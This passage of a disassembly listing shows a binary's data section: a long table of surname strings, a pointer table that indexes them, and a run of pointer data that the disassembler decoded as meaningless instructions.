'Schutte',0 ; DATA XREF: .data:0043EA98o aSchuyler db 'Schuyler',0 ; DATA XREF: .data:0043EA9Co align 4 aSchwan db 'Schwan',0 ; DATA XREF: .data:0043EAA0o align 4 aSchwickrath db 'Schwickrath',0 ; DATA XREF: .data:0043EAA4o aScovel db 'Scovel',0 ; DATA XREF: .data:0043EAA8o align 4 aScudder db 'Scudder',0 ; DATA XREF: .data:0043EAACo aSeaton db 'Seaton',0 ; DATA XREF: .data:0043EAB0o align 4 aSeeber db 'Seeber',0 ; DATA XREF: .data:0043EAB4o align 10h aSegal db 'Segal',0 ; DATA XREF: .data:0043EAB8o align 4 aSekler db 'Sekler',0 ; DATA XREF: .data:0043EABCo align 10h aSelvage db 'Selvage',0 ; DATA XREF: .data:0043EAC0o aSen db 'Sen',0 ; DATA XREF: .data:0043EAC4o aSennett db 'Sennett',0 ; DATA XREF: .data:0043EAC8o aSeterdahl db 'Seterdahl',0 ; DATA XREF: .data:0043EACCo align 10h aSexton db 'Sexton',0 ; DATA XREF: .data:0043EAD0o align 4 aSeyfert db 'Seyfert',0 ; DATA XREF: .data:0043EAD4o aShaikh db 'Shaikh',0 ; DATA XREF: .data:0043EAD8o align 4 aShakis db 'Shakis',0 ; DATA XREF: .data:0043EADCo align 10h aShankland db 'Shankland',0 ; DATA XREF: .data:0043EAE0o align 4 aShanley db 'Shanley',0 ; DATA XREF: .data:0043EAE4o aShar db 'Shar',0 ; DATA XREF: .data:0043EAE8o align 4 aShatrov db 'Shatrov',0 ; DATA XREF: .data:0043EAECo aShavelson db 'Shavelson',0 ; DATA XREF: .data:0043EAF0o align 10h aShea db 'Shea',0 ; DATA XREF: .data:0043EAF4o align 4 aSheats db 'Sheats',0 ; DATA XREF: .data:0043EAF8o align 10h aShepherd db 'Shepherd',0 ; DATA XREF: .data:0043EAFCo align 4 aSheppard db 'Sheppard',0 ; DATA XREF: .data:0043EB00o align 4 aShepstone db 'Shepstone',0 ; DATA XREF: .data:0043EB04o align 4 aShesko db 'Shesko',0 ; DATA XREF: .data:0043EB08o align 4 aShia db 'Shia',0 ; DATA XREF: .data:0043EB0Co align 4 aShibata db 'Shibata',0 ; DATA XREF: .data:0043EB10o aShimon db 'Shimon',0 ; DATA XREF: .data:0043EB14o align 4 aSiesto db 'Siesto',0 ; DATA XREF: .data:0043EB18o align 4 aSigalot db 'Sigalot',0 ; DATA XREF: .data:0043EB1Co aSigini db 'Sigini',0 ; DATA XREF: .data:0043EB20o align 4 aSigna db 'Signa',0 ; DATA XREF: .data:0043EB24o align 4 aSilverman db 'Silverman',0 ; DATA XREF: .data:0043EB28o align 10h aSilvetti db 'Silvetti',0 ; DATA XREF: .data:0043EB2Co align 4 aSinsabaugh db 'Sinsabaugh',0 ; DATA XREF: .data:0043EB30o align 4 aSirilli db 'Sirilli',0 ; DATA XREF: .data:0043EB34o aSites db 'Sites',0 ; DATA XREF: .data:0043EB38o align 4 aSkane db 'Skane',0 ; DATA XREF: .data:0043EB3Co align 10h aSkerry db 'Skerry',0 ; DATA XREF: .data:0043EB40o align 4 aSkoda db 'Skoda',0 ; DATA XREF: .data:0043EB44o align 10h aSloan db 'Sloan',0 ; DATA XREF: .data:0043EB48o align 4 aSlowe db 'Slowe',0 ; DATA XREF: .data:0043EB4Co align 10h aSmilow db 'Smilow',0 ; DATA XREF: .data:0043EB50o align 4 aSniffen db 'Sniffen',0 ; DATA XREF: .data:0043EB54o aSnodgrass db 'Snodgrass',0 ; DATA XREF: .data:0043EB58o align 4 aSocolow db 'Socolow',0 ; DATA XREF: .data:0043EB5Co aSolon db 'Solon',0 ; DATA XREF: .data:0043EB60o align 4 aSomers db 'Somers',0 ; DATA XREF: .data:0043EB64o align 4 aSommariva db 'Sommariva',0 ; DATA XREF: .data:0043EB68o align 10h aSorabella db 'Sorabella',0 ; DATA XREF: .data:0043EB6Co align 4 aSorg db 'Sorg',0 ; DATA XREF: .data:0043EB70o align 4 aSottak db 'Sottak',0 ; DATA XREF: .data:0043EB74o align 4 aSoukup db 'Soukup',0 ; DATA XREF: .data:0043EB78o align 4 aSoule db 'Soule',0 ; DATA XREF: .data:0043EB7Co align 4 aSoultanian db 'Soultanian',0 ; DATA XREF: .data:0043EB80o align 4 aSpanier db 'Spanier',0 ; DATA XREF: .data:0043EB84o aSparrow db 'Sparrow',0 ; DATA XREF: .data:0043EB88o aSpaulding db 'Spaulding',0 ; DATA XREF: .data:0043EB8Co align 4 aSpeizer db 'Speizer',0 ; DATA XREF: .data:0043EB90o aSpence db 'Spence',0 ; DATA XREF: .data:0043EB94o align 4 aSperber db 'Sperber',0 ; DATA XREF: .data:0043EB98o aSpicer db 'Spicer',0 ; DATA XREF: .data:0043EB9Co align 4 aSpiegelhalter db 'Spiegelhalter',0 ; DATA XREF: .data:0043EBA0o align 4 aSpiliotis db 'Spiliotis',0 ; DATA XREF: .data:0043EBA4o align 10h aSpinrad db 'Spinrad',0 ; DATA XREF: .data:0043EBA8o aStmartin db 'StMartin',0 ; DATA XREF: .data:0043EBACo align 4 aStalvey db 'Stalvey',0 ; DATA XREF: .data:0043EBB0o aStam db 'Stam',0 ; DATA XREF: .data:0043EBB4o align 4 aStang db 'Stang',0 ; DATA XREF: .data:0043EBB8o align 4 aStassinopolus db 'Stassinopolus',0 ; DATA XREF: .data:0043EBBCo align 4 aStates db 'States',0 ; DATA XREF: .data:0043EBC0o align 4 aStatlender db 'Statlender',0 ; DATA XREF: .data:0043EBC4o align 10h aStefani db 'Stefani',0 ; DATA XREF: .data:0043EBC8o aSteiner db 'Steiner',0 ; DATA XREF: .data:0043EBCCo aStephanian db 'Stephanian',0 ; DATA XREF: .data:0043EBD0o align 4 aStepniewska db 'Stepniewska',0 ; DATA XREF: .data:0043EBD4o aStewartOaten db 'Stewart-Oaten',0 ; DATA XREF: .data:0043EBD8o align 4 aStiepock db 'Stiepock',0 ; DATA XREF: .data:0043EBDCo align 4 aStillwell db 'Stillwell',0 ; DATA XREF: .data:0043EBE0o align 10h aStock db 'Stock',0 ; DATA XREF: .data:0043EBE4o align 4 aStockton db 'Stockton',0 ; DATA XREF: .data:0043EBE8o align 4 aStockwell db 'Stockwell',0 ; DATA XREF: .data:0043EBECo align 10h aStolzenberg db 'Stolzenberg',0 ; DATA XREF: .data:0043EBF0o aStonich db 'Stonich',0 ; DATA XREF: .data:0043EBF4o aStorer db 'Storer',0 ; DATA XREF: .data:0043EBF8o align 4 aStott db 'Stott',0 ; DATA XREF: .data:0043EBFCo align 4 aStrange db 'Strange',0 ; DATA XREF: .data:0043EC00o aStrauch db 'Strauch',0 ; DATA XREF: .data:0043EC04o aStreiff db 'Streiff',0 ; DATA XREF: .data:0043EC08o aStringer db 'Stringer',0 ; DATA XREF: .data:0043EC0Co align 4 aSullivan db 'Sullivan',0 ; DATA XREF: .data:0043EC10o align 4 aSumner db 'Sumner',0 ; DATA XREF: .data:0043EC14o align 4 aSuo db 'Suo',0 ; DATA XREF: .data:0043EC18o aSurdam db 'Surdam',0 ; DATA XREF: .data:0043EC1Co align 4 aSweeting db 'Sweeting',0 ; DATA XREF: .data:0043EC20o align 4 aSweetser db 'Sweetser',0 ; DATA XREF: .data:0043EC24o align 10h aSwindle db 'Swindle',0 ; DATA XREF: .data:0043EC28o aTagiuri db 'Tagiuri',0 ; DATA XREF: .data:0043EC2Co aTai db 'Tai',0 ; DATA XREF: .data:0043EC30o aTalaugon db 'Talaugon',0 ; DATA XREF: .data:0043EC34o align 10h aTambiah db 'Tambiah',0 ; DATA XREF: .data:0043EC38o aTandler db 'Tandler',0 ; DATA XREF: .data:0043EC3Co aTanowitz db 'Tanowitz',0 ; DATA XREF: .data:0043EC40o align 4 aTatar db 'Tatar',0 ; DATA XREF: .data:0043EC44o align 4 aTaveras db 'Taveras',0 ; DATA XREF: .data:0043EC48o aTawn db 'Tawn',0 ; DATA XREF: .data:0043EC4Co align 4 aTcherepnin db 'Tcherepnin',0 ; DATA XREF: .data:0043EC50o align 10h aTeague db 'Teague',0 ; DATA XREF: .data:0043EC54o align 4 aTemes db 'Temes',0 ; DATA XREF: .data:0043EC58o align 10h aTemmer db 'Temmer',0 ; DATA XREF: .data:0043EC5Co align 4 aTenney db 'Tenney',0 ; DATA XREF: .data:0043EC60o align 10h aTerracini db 'Terracini',0 ; DATA XREF: .data:0043EC64o align 4 aThan db 'Than',0 ; DATA XREF: .data:0043EC68o align 4 aThavaneswaran db 'Thavaneswaran',0 ; DATA XREF: .data:0043EC6Co align 4 aTheodos db 'Theodos',0 ; DATA XREF: .data:0043EC70o aThibault db 'Thibault',0 ; DATA XREF: .data:0043EC74o align 4 aThisted db 'Thisted',0 ; DATA XREF: .data:0043EC78o aThomsen db 'Thomsen',0 ; DATA XREF: .data:0043EC7Co aThroop db 'Throop',0 ; DATA XREF: .data:0043EC80o align 10h aTierney db 'Tierney',0 ; DATA XREF: .data:0043EC84o aTill db 'Till',0 ; DATA XREF: .data:0043EC88o align 10h aTimmons db 'Timmons',0 ; DATA XREF: .data:0043EC8Co aTofallis db 'Tofallis',0 ; DATA XREF: .data:0043EC90o align 4 aTollestrup db 'Tollestrup',0 ; DATA XREF: .data:0043EC94o align 10h aTolls db 'Tolls',0 ; DATA XREF: .data:0043EC98o align 4 aTolman db 'Tolman',0 ; DATA XREF: .data:0043EC9Co align 10h aTomford db 'Tomford',0 ; DATA XREF: .data:0043ECA0o aToomer db 'Toomer',0 ; DATA XREF: .data:0043ECA4o align 10h aTopulos db 'Topulos',0 ; DATA XREF: .data:0043ECA8o aTorresi db 'Torresi',0 ; DATA XREF: .data:0043ECACo aTorske db 'Torske',0 ; DATA XREF: .data:0043ECB0o align 4 aTowler db 'Towler',0 ; DATA XREF: .data:0043ECB4o align 10h aToye db 'Toye',0 ; DATA XREF: .data:0043ECB8o align 4 aTraebert db 'Traebert',0 ; DATA XREF: .data:0043ECBCo align 4 aTrenga db 'Trenga',0 ; DATA XREF: .data:0043ECC0o align 4 aTrewin db 'Trewin',0 ; DATA XREF: .data:0043ECC4o align 4 aTringali db 'Tringali',0 ; DATA XREF: .data:0043ECC8o align 10h aTroiani db 'Troiani',0 ; DATA XREF: .data:0043ECCCo aTroy db 'Troy',0 align 10h aTruss db 'Truss',0 align 4 aTsiatis db 'Tsiatis',0 aTsomides db 'Tsomides',0 align 4 aTsukurov db 'Tsukurov',0 align 4 aTuck db 'Tuck',0 align 10h aTudge db 'Tudge',0 align 4 aTukan db 'Tukan',0 align 10h aTurano db 'Turano',0 align 4 aTurek db 'Turek',0 align 10h aTuttle db 'Tuttle',0 align 4 aTwells db 'Twells',0 align 10h aTzamarias db 'Tzamarias',0 ; DATA XREF: .data:0043ED00o align 4 aUllman db 'Ullman',0 ; DATA XREF: .data:0043ED04o align 4 aUntermeyer db 'Untermeyer',0 ; DATA XREF: .data:0043ED08o align 10h aUpsdell db 'Upsdell',0 ; DATA XREF: .data:0043ED0Co aUrban db 'Urban',0 ; DATA XREF: .data:0043ED10o align 10h aUrdangBrown db 'Urdang-Brown',0 ; DATA XREF: .data:0043ED14o align 10h aUsdan db 'Usdan',0 ; DATA XREF: .data:0043ED18o align 4 aUzuner db 'Uzuner',0 ; DATA XREF: .data:0043ED1Co align 10h aVacca db 'Vacca',0 ; DATA XREF: .data:0043ED20o align 4 aWaite db 'Waite',0 ; DATA XREF: .data:0043ED24o align 10h aValberg db 'Valberg',0 ; DATA XREF: .data:0043ED28o aValencia db 'Valencia',0 ; DATA XREF: .data:0043ED2Co align 4 aWales db 'Wales',0 ; DATA XREF: .data:0043ED30o align 4 aWallenberg db 'Wallenberg',0 ; DATA XREF: .data:0043ED34o align 4 aWalter db 'Walter',0 ; DATA XREF: .data:0043ED38o align 10h aVanallen db 'vanAllen',0 ; DATA XREF: .data:0043ED3Co align 4 aVanzwet db 'VanZwet',0 ; DATA XREF: .data:0043ED40o aVandenberg db 'Vandenberg',0 ; DATA XREF: .data:0043ED44o align 10h aVanheeckeren db 'Vanheeckeren',0 ; DATA XREF: .data:0043ED48o align 10h aWarshafsky db 'Warshafsky',0 ; DATA XREF: .data:0043ED4Co align 4 aWasowska db 'Wasowska',0 ; DATA XREF: .data:0043ED50o align 4 aVasquez db 'Vasquez',0 ; DATA XREF: .data:0043ED54o aWaugh db 'Waugh',0 ; DATA XREF: .data:0043ED58o align 4 aWeighart db 'Weighart',0 ; DATA XREF: .data:0043ED5Co align 4 aWeingarten db 'Weingarten',0 ; DATA XREF: .data:0043ED60o align 10h aWeinhaus db 'Weinhaus',0 ; DATA XREF: .data:0043ED64o align 4 aWeissbourd db 'Weissbourd',0 ; DATA XREF: .data:0043ED68o align 4 aWeissman db 'Weissman',0 ; DATA XREF: .data:0043ED6Co align 4 aVelasquez db 'Velasquez',0 ; DATA XREF: .data:0043ED70o align 10h aWelles db 'Welles',0 ; DATA XREF: .data:0043ED74o align 4 aWelsh db 'Welsh',0 ; DATA XREF: .data:0043ED78o align 10h aWengret db 'Wengret',0 ; DATA XREF: .data:0043ED7Co aVenne db 'Venne',0 ; DATA XREF: .data:0043ED80o align 10h aVerghese db 'Verghese',0 ; DATA XREF: .data:0043ED84o align 4 aWescott db 'Wescott',0 ; DATA XREF: .data:0043ED88o aWetzel db 'Wetzel',0 ; DATA XREF: .data:0043ED8Co align 4 aWhately db 'Whately',0 ; DATA XREF: .data:0043ED90o aWhilton db 'Whilton',0 ; DATA XREF: .data:0043ED94o aWhite db 'White',0 ; DATA XREF: .data:0043ED98o align 4 aWhitla db 'Whitla',0 ; DATA XREF: .data:0043ED9Co align 4 aWhittaker db 'Whittaker',0 ; DATA XREF: .data:0043EDA0o align 4 aViana db 'Viana',0 ; DATA XREF: .data:0043EDA4o align 10h aViano db 'Viano',0 ; DATA XREF: .data:0043EDA8o align 4 aWiedersheim db 'Wiedersheim',0 ; DATA XREF: .data:0043EDACo aWiener db 'Wiener',0 ; DATA XREF: .data:0043EDB0o align 4 aViens db 'Viens',0 ; DATA XREF: .data:0043EDB4o align 4 aVignola db 'Vignola',0 ; DATA XREF: .data:0043EDB8o aWilder db 'Wilder',0 ; DATA XREF: .data:0043EDBCo align 4 aWilhelm db 'Wilhelm',0 ; DATA XREF: .data:0043EDC0o aWilk db 'Wilk',0 ; DATA XREF: .data:0043EDC4o align 4 aWilkin db 'Wilkin',0 ; DATA XREF: .data:0043EDC8o align 4 aWilkinson db 'Wilkinson',0 ; DATA XREF: .data:0043EDCCo align 4 aVillarreal db 'Villarreal',0 ; DATA XREF: .data:0043EDD0o align 4 aWillstatter db 'Willstatter',0 ; DATA XREF: .data:0043EDD4o aWilson db 'Wilson',0 ; DATA XREF: .data:0043EDD8o align 4 aVitali db 'Vitali',0 ; DATA XREF: .data:0043EDDCo align 10h aViviani db 'Viviani',0 ; DATA XREF: .data:0043EDE0o aVoigt db 'Voigt',0 ; DATA XREF: .data:0043EDE4o align 10h aWolk db 'Wolk',0 align 4 aVonhoffman db 'VonHoffman',0 align 4 aWoo db 'Woo',0 aWooden db 'Wooden',0 align 10h aWoods db 'Woods',0 align 4 aWoodsPowell db 'Woods-Powell',0 align 4 aVorhaus db 'Vorhaus',0 aVotey db 'Votey',0 align 4 aYacono db 'Yacono',0 align 10h aYamane db 'Yamane',0 align 4 aYankee db 'Yankee',0 align 10h aYarchuk db 'Yarchuk',0 aYates db 'Yates',0 align 10h aYbarra db 'Ybarra',0 align 4 aYedidia db 'Yedidia',0 aYesson db 'Yesson',0 align 4 aYetiv db 'Yetiv',0 align 10h aYoffe db 'Yoffe',0 align 4 aYoo db 'Yoo',0 aYoukSee db 'Youk-See',0 align 4 aYu db 'Yu',0 align 4 aZachary db 'Zachary',0 aZahedi db 'Zahedi',0 align 4 aZangwill db 'Zangwill',0 align 4 aZegans db 'Zegans',0 ; DATA XREF: .data:0043EE48o align 10h aZerbini db 'Zerbini',0 ; DATA XREF: .data:0043EE4Co aZoldak db 'Zoldak',0 ; DATA XREF: .data:0043EE50o align 10h aZucconi db 'Zucconi',0 ; DATA XREF: .data:0043EE54o aZurn db 'Zurn',0 ; DATA XREF: .data:0043EE58o align 10h aZwiers db 'Zwiers',0 ; DATA XREF: .data:0043EE5Co align 4 aZytowski db 'Zytowski',0 ; DATA XREF: .data:0043EE60o align 8 off_43DC28 dd offset aAbdulrazak ; DATA XREF: sub_408F7D+20r ; "Abdulrazak" dd offset aAckerman ; "Ackerman" dd offset aAdams ; "Adams" dd offset aAddison ; "Addison" dd offset aAdelstein ; "Adelstein" dd offset aAdibe ; "Adibe" dd offset aAdorno ; "Adorno" dd offset aAhlers ; "Ahlers" dd offset aAlavi ; "Alavi" dd offset aAlcorn ; "Alcorn" dd offset aAlda ; "Alda" dd offset aAleks ; "Aleks" dd offset aAllison ; "Allison" dd offset aAlongi ; "Alongi" dd offset aAltavilla ; "Altavilla" dd offset aAltenberger ; "Altenberger" dd offset aAltenhofen ; "Altenhofen" dd offset aAmaral ; "Amaral" dd offset aAmatangelo ; "Amatangelo" dd offset aAmeer ; "Ameer" dd offset aAmsden ; "Amsden" dd offset aAnand ; "Anand" dd offset aAndel ; "Andel" dd offset aAndo ; "Ando" dd offset aAndrelus ; "Andrelus" dd offset aAndron ; "Andron" dd offset aAnfinrud ; "Anfinrud" dd offset aAnsley ; "Ansley" dd offset aAnthony ; "Anthony" dd offset aAntos ; "Antos" dd offset aArbia ; "Arbia" dd offset aArduini ; "Arduini" dd offset aArellano ; "Arellano" dd offset aAristotle ; "Aristotle" dd offset aArjas ; "Arjas" dd offset aArky ; "Arky" dd offset aAtkins ; "Atkins" dd offset aAugustus ; "Augustus" dd offset aAurelius ; "Aurelius" dd offset aAxelrod ; "Axelrod" dd offset aAxworthy ; "Axworthy" dd offset aAyiemba ; "Ayiemba" dd offset aAykroyd ; "Aykroyd" dd offset aAyling ; "Ayling" dd offset aAzima ; "Azima" dd offset aBachmuth ; "Bachmuth" dd offset aBackus ; "Backus" dd offset aBady ; "Bady" dd offset aBaglivo ; "Baglivo" dd offset aBagnold ; "Bagnold" dd offset aBailar ; "Bailar" dd offset aBakanowsky ; "Bakanowsky" dd offset aBaleja ; "Baleja" dd offset aBallatori ; "Ballatori" dd offset aBallew ; "Ballew" dd offset aBaltz ; "Baltz" dd offset aBanta ; "Banta" dd offset aBarabesi ; "Barabesi" dd offset aBarajas ; "Barajas" dd offset aBaranczak ; "Baranczak" dd offset aBaranowska ; "Baranowska" dd offset aBarberi ; "Barberi" dd offset aBarbetti ; "Barbetti" dd offset aBarneson ; "Barneson" dd offset aBarnett ; "Barnett" dd offset aBarriola ; "Barriola" dd offset aBarry ; "Barry" dd offset aBartholomew ; "Bartholomew" dd offset aBartolome ; "Bartolome" dd offset aBartoo ; "Bartoo" dd offset aBasavappa ; "Basavappa" dd offset aBashevis ; "Bashevis" dd offset aBatchelder ; "Batchelder" dd offset aBaumiller ; "Baumiller" dd offset aBayles ; "Bayles" dd offset aBayo ; "Bayo" dd offset aBeacon ; "Beacon" dd offset aBeal ; "Beal" dd offset aBean ; "Bean" dd offset aBeckman ; "Beckman" dd offset aBeder ; "Beder" dd offset aBedford ; "Bedford" dd offset aBehenna ; "Behenna" dd offset aBelanger ; "Belanger" dd offset aBelaoussof ; "Belaoussof" dd offset aBelfer ; "Belfer" dd offset aBelinCollart ; "Belin-Collart" dd offset aBellavance ; "Bellavance" dd offset aBellhouse ; "Bellhouse" dd offset aBellini ; "Bellini" dd offset aBelloc ; "Belloc" dd offset aBenedictDye ; "Benedict-Dye" dd offset aBergson ; "Bergson" dd offset aBerkeJenkins ; "Berke-Jenkins" dd offset aBernardo ; "Bernardo" dd offset aBernassola ; "Bernassola" dd offset aBernston ; "Bernston" dd offset aBerrizbeitia ; "Berrizbeitia" dd offset aBetti ; "Betti" dd offset aBeynart ; "Beynart" dd offset aBiagioli ; "Biagioli" dd offset aBickel ; "Bickel" dd offset aBinion ; "Binion" dd offset aBir ; "Bir" dd offset aBisema ; "Bisema" dd offset aBisho ; "Bisho" dd offset aBlackbourn ; "Blackbourn" dd offset aBlackwell ; "Blackwell" dd offset aBlagg ; "Blagg" dd offset aBlakemore ; "Blakemore" dd offset aBlanke ; "Blanke" dd offset aBliss ; "Bliss" dd offset aBlizard ; "Blizard" dd offset aBloch ; "Bloch" dd offset aBloembergen ; "Bloembergen" dd offset aBloemhof ; "Bloemhof" dd offset aBloxham ; "Bloxham" dd offset aBlyth ; "Blyth" dd offset aBolger ; "Bolger" dd offset aBolick ; "Bolick" dd offset aBollinger ; "Bollinger" dd offset aBologna ; "Bologna" dd offset aBoner ; "Boner" dd offset aBonham ; "Bonham" dd offset aBoniface ; "Boniface" dd offset aBontempo ; "Bontempo" dd offset aBook ; "Book" dd offset aBookbinder ; "Bookbinder" dd offset aBoone ; "Boone" dd offset aBoorstin ; "Boorstin" dd offset aBorack ; "Borack" dd offset aBorden ; "Borden" dd offset aBossi ; "Bossi" dd offset aBothman ; "Bothman" dd offset aBotosh ; "Botosh" dd offset aBoudin ; "Boudin" dd offset aBoudrot ; "Boudrot" dd offset aBourneuf ; "Bourneuf" dd offset aBowers ; "Bowers" dd offset aBoxer ; "Boxer" dd offset aBoyajian ; "Boyajian" dd offset aBoyes ; "Boyes" dd offset aBoyland ; "Boyland" dd offset aBoym ; "Boym" dd offset aBoyne ; "Boyne" dd offset aBracalente ; "Bracalente" dd offset aBradac ; "Bradac" dd offset aBradach ; "Bradach" dd offset aBrecht ; "Brecht" dd offset aBreed ; "Breed" dd offset aBrenan ; "Brenan" dd offset aBrennan ; "Brennan" dd offset aBrewer ; "Brewer" dd offset aBrewer_0 ; "Brewer" dd offset aBridgeman ; "Bridgeman" dd offset aBridges ; "Bridges" dd offset aBrinton ; "Brinton" dd offset aBritz ; "Britz" dd offset aBroca ; "Broca" dd offset aBrook ; "Brook" dd offset aBrzycki ; "Brzycki" dd offset aBuchan ; "Buchan" dd offset aBudding ; "Budding" dd offset aBullard ; "Bullard" dd offset aBunton ; "Bunton" dd offset aBurden ; "Burden" dd offset aBurdzy ; "Burdzy" dd offset aBurke ; "Burke" dd offset aBurridge ; "Burridge" dd offset aBusetta ; "Busetta" dd offset aByatt ; "Byatt" dd offset aByerly ; "Byerly" dd offset aByrd ; "Byrd" dd offset aCage ; "Cage" dd offset aCalnan ; "Calnan" dd offset aCammelli ; "Cammelli" dd offset aCammilleri ; "Cammilleri" dd offset aCanley ; "Canley" dd offset aCapanni ; "Capanni" dd offset aCaperton ; "Caperton" dd offset aCapocaccia ; "Capocaccia" dd offset aCapodilupo ; "Capodilupo" dd offset aCappuccio ; "Cappuccio" dd offset aCapursi ; "Capursi" dd offset aCaratozzolo ; "Caratozzolo" dd offset aCarayannopoulo ; "Carayannopoulos" dd offset aCarlin ; "Carlin" dd offset aCarlos ; "Carlos" dd offset aCarlyle ; "Carlyle" dd offset aCarmichael ; "Carmichael" dd offset aCaroti ; "Caroti" dd offset aCarper ; "Carper" dd offset aCartmill ; "Cartmill" dd offset aCascio ; "Cascio" dd offset aCase ; "Case" dd offset aCaspar ; "Caspar" dd offset aCastelda ; "Castelda" dd offset aCavanagh ; "Cavanagh" dd offset aCavell ; "Cavell" dd offset aCeniceros ; "Ceniceros" dd offset aCerioli ; "Cerioli" dd offset aChapman ; "Chapman" dd offset aCharles ; "Charles" dd offset aCheang ; "Cheang" dd offset aCherry ; "Cherry" dd offset aChervinsky ; "Chervinsky" dd offset aChiassino ; "Chiassino" dd offset aChien ; "Chien" dd offset aChildress ; "Childress" dd offset aChilds ; "Childs" dd offset aChinipardaz ; "Chinipardaz" dd offset aChinman ; "Chinman" dd offset aChristenson ; "Christenson" dd offset aChristian ; "Christian" dd offset aChristiano ; "Christiano" dd offset aChristie ; "Christie" dd offset aChristopher ; "Christopher" dd offset aChu ; "Chu" dd offset aChupasko ; "Chupasko" dd offset aChurch ; "Church" dd offset aCiampaglia ; "Ciampaglia" dd offset aCicero ; "Cicero" dd offset aCifarelli ; "Cifarelli" dd offset aClaffey ; "Claffey" dd offset aClancy ; "Clancy" dd offset aClark ; "Clark" dd offset aClement ; "Clement" dd offset aClifton ; "Clifton" dd offset aClow ; "Clow" dd offset aCoblenz ; "Coblenz" dd offset aCoito ; "Coito" dd offset aColdren ; "Coldren" dd offset aColella ; "Colella" dd offset aCollard ; "Collard" dd offset aCollis ; "Collis" dd offset aCompton ; "Compton" dd offset aCompton_0 ; "Compton" dd offset aComstock ; "Comstock" dd offset aConcino ; "Concino" dd offset aCondodina ; "Condodina" dd offset aConnors ; "Connors" dd offset aCorey ; "Corey" dd offset aCornish ; "Cornish" dd offset aCosmides ; "Cosmides" dd offset aCounter ; "Counter" dd offset aCoutaux ; "Coutaux" dd offset aCrawford ; "Crawford" dd offset aCrocker ; "Crocker" dd offset aCroshaw ; "Croshaw" dd offset aCroxen ; "Croxen" dd offset aCroxton ; "Croxton" dd offset aCui ; "Cui" dd offset aCurrier ; "Currier" dd offset aCutler ; "Cutler" dd offset aCvek ; "Cvek" dd offset aCyders ; "Cyders" dd offset aDasilva ; "daSilva" dd offset aDaldalian ; "Daldalian" dd offset aDaly ; "Daly" dd offset aDAmbra ; "D'Ambra" dd offset aDanieli ; "Danieli" dd offset aDante ; "Dante" dd offset aDapice ; "Dapice" dd offset aDArcangelo ; "D'arcangelo" dd offset aDas ; "Das" dd offset aDasgupta ; "Dasgupta" dd offset aDaskalu ; "Daskalu" dd offset aDavid ; "David" dd offset aDawkins ; "Dawkins" dd offset aDegennaro ; "DeGennaro" dd offset aDelapena ; "DeLaPena" dd offset aDelEnclos ; "del'Enclos" dd offset aDerousse ; "deRousse" dd offset aDebroff ; "Debroff" dd offset aDees ; "Dees" dd offset aDefeciani ; "Defeciani" dd offset aDelattre ; "Delattre" dd offset aDeleonRendon ; "Deleon-Rendon" dd offset aDelger ; "Delger" dd offset aDellAcqua ; "Dell'acqua" dd offset aDeming ; "Deming" dd offset aDempster ; "Dempster" dd offset aDemusz ; "Demusz" dd offset aDenault ; "Denault" dd offset aDenham ; "Denham" dd offset aDenison ; "Denison" dd offset aDesombre ; "Desombre" dd offset aDeutsch ; "Deutsch" dd offset aDFini ; "D'fini" dd offset aDicks ; "Dicks" dd offset aDiefenbach ; "Diefenbach" dd offset aDifabio ; "Difabio" dd offset aDifronzo ; "Difronzo" dd offset aDilworth ; "Dilworth" dd offset aDionysius ; "Dionysius" dd offset aDirksen ; "Dirksen" dd offset aDockery ; "Dockery" dd offset aDoherty ; "Doherty" dd offset aDonahue ; "Donahue" dd offset aDonner ; "Donner" dd offset aDoonan ; "Doonan" dd offset aDore ; "Dore" dd offset aDorf ; "Dorf" dd offset aDosi ; "Dosi" dd offset aDoty ; "Doty" dd offset aDoug ; "Doug" dd offset aDowsland ; "Dowsland" dd offset aDrinker ; "Drinker" dd offset aDSouza ; "D'souza" dd offset aDuffin ; "Duffin" dd offset aDurrett ; "Durrett" dd offset aDussault ; "Dussault" dd offset aDwyer ; "Dwyer" dd offset aEardley ; "Eardley" dd offset aEbeling ; "Ebeling" dd offset aEckel ; "Eckel" dd offset aEdley ; "Edley" dd offset aEdner ; "Edner" dd offset aEdward ; "Edward" dd offset aEickenhorst ; "Eickenhorst" dd offset aEliasson ; "Eliasson" dd offset aElmendorf ; "Elmendorf" ; --------------------------------------------------------------------------- mov esp, 0C80043BDh mov ebp, 0BDD00043h inc ebx add al, bl mov ebp, 0BDE00043h inc ebx add al, ch mov ebp, 0BDF00043h inc ebx add al, bh mov ebp, 0BE000043h inc ebx add [eax], cl mov esi, 0BE140043h inc ebx add [esi+edi*4], bl inc ebx add [esi+edi*4], ah inc ebx add [eax], dh mov esi, 0BE380043h inc ebx add [eax-42h], al inc ebx add [eax-42h], cl inc ebx add [eax-42h], dl inc ebx add [eax-42h], ah inc ebx add [eax-42h], ch inc ebx add [eax-42h], dh inc ebx add [eax-42h], bh inc ebx add [eax-77FFBC42h], al mov esi, 0BE900043h inc ebx add [esi+edi*4-415BFFBDh], bl inc ebx add [esi+edi*4-414BFFBDh], ch inc ebx add al, al mov esi, 0BECC0043h inc ebx add al, bl mov esi, 0BEE00043h inc ebx add al, ch mov esi, 0BEF00043h inc ebx add al, bh mov esi, 0BF040043h inc ebx add [eax], dl mov edi, 0BF180043h inc ebx add [eax], ah mov edi, 0BF2C0043h inc ebx add [edi+edi*4], dh inc ebx add [edi+edi*4], bh inc ebx add [edi+edi*4+43h], al add [eax-41h], dl inc ebx add [eax-41h], bl inc ebx add [eax-41h], ah inc ebx add [eax-41h], ch inc ebx add [eax-41h], dh inc ebx add [edi+edi*4+43h], bh add [edi+edi*4-406BFFBDh], cl inc ebx add [edi+edi*4-4053FFBDh], ah inc ebx add [eax-3FFFBC41h], bh mov edi, 0BFCC0043h inc ebx add ah, dl mov edi, 0BFDC0043h inc ebx add al, ch mov edi, 0BFF00043h inc ebx add ah, bh mov edi, 0C0040043h inc ebx add [eax+eax*8], cl inc ebx add [eax+eax*8], dl inc ebx add [eax], ah rol byte ptr [ebx+0], 2Ch rol byte ptr [ebx+0], 38h rol byte ptr [ebx+0], 40h rol byte ptr [ebx+0], 48h rol byte ptr [ebx+0], 54h rol byte ptr [ebx+0], 5Ch rol byte ptr [ebx+0], 64h rol byte ptr [ebx+0], 6Ch rol byte ptr [ebx+0], 78h rol byte ptr [ebx+0], 80h rol byte ptr [ebx+0], 88h rol byte ptr [ebx+0], 90h rol byte ptr [ebx+0], 98h rol byte ptr [ebx+0], 0A0h rol byte ptr [ebx+0], 0A8h rol byte ptr [ebx+0], 0B0h rol byte ptr [ebx+0], 0B8h rol byte ptr [ebx+0], 0C4h rol byte ptr [ebx+0], 0CCh rol byte ptr [ebx+0], 0D4h rol byte ptr [ebx+0], 0DCh rol byte 